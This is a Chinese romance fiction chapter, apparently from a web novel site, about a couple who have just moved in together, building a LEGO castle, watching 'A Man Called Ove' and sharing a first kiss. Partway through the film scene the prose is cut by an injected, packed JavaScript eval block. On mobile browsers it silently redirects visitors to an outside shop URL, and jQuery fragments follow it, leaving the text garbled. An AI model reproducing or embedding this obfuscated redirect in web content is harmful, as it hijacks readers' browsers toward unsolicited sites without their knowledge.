搬进去的第一周，祝青云每天早上都在同一个位置醒来。
窗帘缝隙里的光落在她手背上，落点和前一天差不多，但每一天都比前一天更靠近枕头边缘一点。她说不出那道光每天移动多少，但她在学它的路径。
方严起得比她早。醒来的时候，床的另一侧已经空了，被子掀开一角，折了一半，没折完。
周三晚上加班回来，推开门，屋里很安静。客厅灯亮着，方严不在沙发上，也不在书房开电话会。她换了鞋往里走，在卧室找到了他——正靠着床头看手机。她站在门口看了他一眼，他抬起头，目光落在她身上，停了一拍，什么也没问。洗漱回来的时候，那盏最亮的灯已经关了，只留了床头那盏柔和的、边缘发黄的灯。他翻了个身，床垫轻轻响了一下。
"你还没睡？"
"刚才眯了一下，醒了。"
窗帘缝里的光在天花板上画出一道窄痕，比前一天又偏了一点。
周四晚上到家稍微早一些。方严已经在了，客厅茶几上摊着一只大盒子，深蓝色的盒面在灯光下泛着哑光，封面印着一座灰白色的城堡——尖塔、拱窗、交错的楼梯。她换了鞋走过去，蹲下来翻了翻盒子侧面，上面印着颗粒数和难度等级。
"六千多块。"她说。
"嗯。"
她抬头看他："你一个人拼？"
他正在拆塑料封膜："等你回来一起。"
她换好衣服出来，他已经把零件袋全部倒在了茶几上。大大小小的灰色和深色颗粒堆成一小片，说明书摊开在一旁，密密麻麻印了四十多页。
方严坐在地板上看说明书，背靠沙发边缘，腿伸不直，膝盖微微抬着。那个姿势让他看起来比平时年轻一些。
祝青云在他对面坐下来，两个人隔着那堆零件和说明书。
她伸手拿过一只小碗，把深灰色的零件挑出来放进去，指尖划过那些细小的边缘。"你按说明书拼，我按颜色分类。"
他抬起头看了她一眼："你不是第一次拼这种？"
她把一块浅灰色的板件放进另一只碗里："以前帮苏南拼过一次，一辆摩托车，零件掉了一地。"——其实是她拼的，苏南坐在旁边看。当然，她没有提起那只缺了左前腿的小狗。
两个人拼了将近一个小时，城堡的地基拼好了四分之一，方严把说明书翻到第三页。他拼错了两次。第一次把一组拱形窗的支撑柱装反了，发现之后没有拆，停下来看了很久，像在等那个错误自己变对。然后他拆了，重新装。第二次把一座塔楼的底座装到了侧墙的错误位置上，这次拆得比第一次快。
祝青云分类的时候偶尔停下来看他拆零件。她发现自己正在用他拼乐高的方式读他——会错，会拆，会继续往下拼。那座城堡的地基已经在茶几上铺开了一小片，尖塔的方向还没有定，但轮廓正在从那些尚未连接的颗粒里，一点一点显出来。
周六下午，方严在书房整理文件，祝青云在客厅看书。两个人隔着半面墙，各自待着。她翻了两页书，听到书房里传来一阵响动——文件被重新叠放的声音，抽屉被推开又合上，然后是一段很长的安静。
她站起来，走到书房门口。方严正蹲在地上，面前摊开一只敞口的纸箱，里面是一叠旧材料，他手里拿着一沓，正在翻看。知道她进来，他没有抬头，但动作停了一下。
"你在找什么？"
"一份旧合同，不知道放哪了。"
她站在门口，没有走进去。"找到了吗？"
"没有，"他说，"可能是记错了。"他把那沓材料放回纸箱，没有继续翻。她站了一会儿，没有追问那是哪一年的合同。她只看到他放下材料的时候，手指在纸箱边缘多停了一瞬，然后把箱盖合上了。
他站起来的时候回头看了一眼那只纸箱，然后走回书桌前，没有再看它。
周六晚上，祝青云洗完澡出来，方严已经关了客厅大灯，只留了沙发旁边那盏落地灯。他坐在沙发上，手里拿着遥控器，正在翻投屏页面。她穿着他的旧T恤，下摆到大腿中间，领口松松地塌向一侧。头发还湿着，肩头的布料洇出一小片深色的水痕。她赤着脚走过去，脚趾碰到沙发边缘的时候停了一下。
"看个电影？"
方严抬头看了她一眼，目光在她肩头那片水痕上停了一下，移开，落在她脸上。
"你想看什么？"
"你看过《一个叫欧维的男人决定去死》吗？"
方严想了一下："你以前提过，没看过。"
祝青云在沙发另一端坐下来，盘起腿，把T恤下摆往下拉了拉："那看这个。"
电影开始之前，方严伸手把茶几上一颗多余的灰色砖块拿起来，放在电视柜的角落。"你放那儿干嘛？""怕你踩到。"他说，目光在她赤着的脚上停了一下，移开了。
电影开始了。屏幕上的雪落得很慢，一个老头在社区里巡逻，检
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740838|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
查车有没有停在不该停的地方，检查栅栏有没有关好，检查一切秩序是否待在它该待的位置上。方严坐在她斜后方，膝盖上搭着一只手。祝青云靠进沙发里，头发还在滴水，一滴水落在T恤肩头，深色的痕迹又扩大了一点。她没有擦。
电影的节奏很慢。欧维去敲门借梯子，邻居的丈夫摔断了腿，他骂了一句，然后走开了。屏幕的光在两个人脸上移动，明暗交替。方严看电影的时候话比平时少，呼吸也比平时慢。
电影放到欧维站在妻子的墓碑前说"我想你了"，她没有转头看方严。她靠回沙发靠背，偏了一下头，落在他肩膀上。他的肩膀在她碰到的那一瞬间绷紧了一下，然后松开了。她的湿头发在他T恤上洇出一道新的水痕，他没有说话，下巴往她这边低了一点。
电影的后半段，她一直靠在他肩上。他的手臂从身侧抬起来，绕过沙发靠背，搭在她另一侧的肩上。手指偶尔落在她的上臂外侧，停一小会儿，移回肩头。她的头发半干了，T恤肩头那块深色的水痕正在变浅，他的T恤上多了一道新的痕迹。
电影结束，字幕开始滚动。她从他肩上抬起脸，湿发划过他的颈侧。她说："后来他发现，有些事一个人做不了。"她站起来，经过他面前的时候停了一下，把手放在他肩膀上，很短，然后收回去，往卧室走了两步，没有回头："明天继续拼城堡。"
方严说："好。"
那天晚上她躺在床上，听到书房里的键盘声停了，然后是方严关灯的声音。她翻了个身，面朝他的方向，感觉到他在黑暗中也转过来，面对着她，隔着半臂的距离。
"你今天要看欧维——是故意选的吗？"
她沉默了一下："选的时候没想。"手伸过去，碰到他的手背，手指滑过去，穿过他的指缝，扣住了。他的手指收拢，握住了她的手。
"但我知道你会记住它。"
他在黑暗中侧过身，靠近她，把额头抵在她的额头上。呼吸落在她嘴唇上方，很近。他靠得更近了一些，嘴唇碰了上来，很轻。她停了一下，回吻了他，很短，贴了一下又退开。他没有再吻第二次，只是靠在那里，额头贴着她的额头。
"明天城堡，"她在他唇边轻声说，"继续拼。"
他说好。
黑暗里只剩两个人的呼吸。客厅的茶几上，城堡的地基还摊在那里，拼了四分之一。他重新吻了上来，这次停留得更久，她也回应了。他握着她的手，没有松开。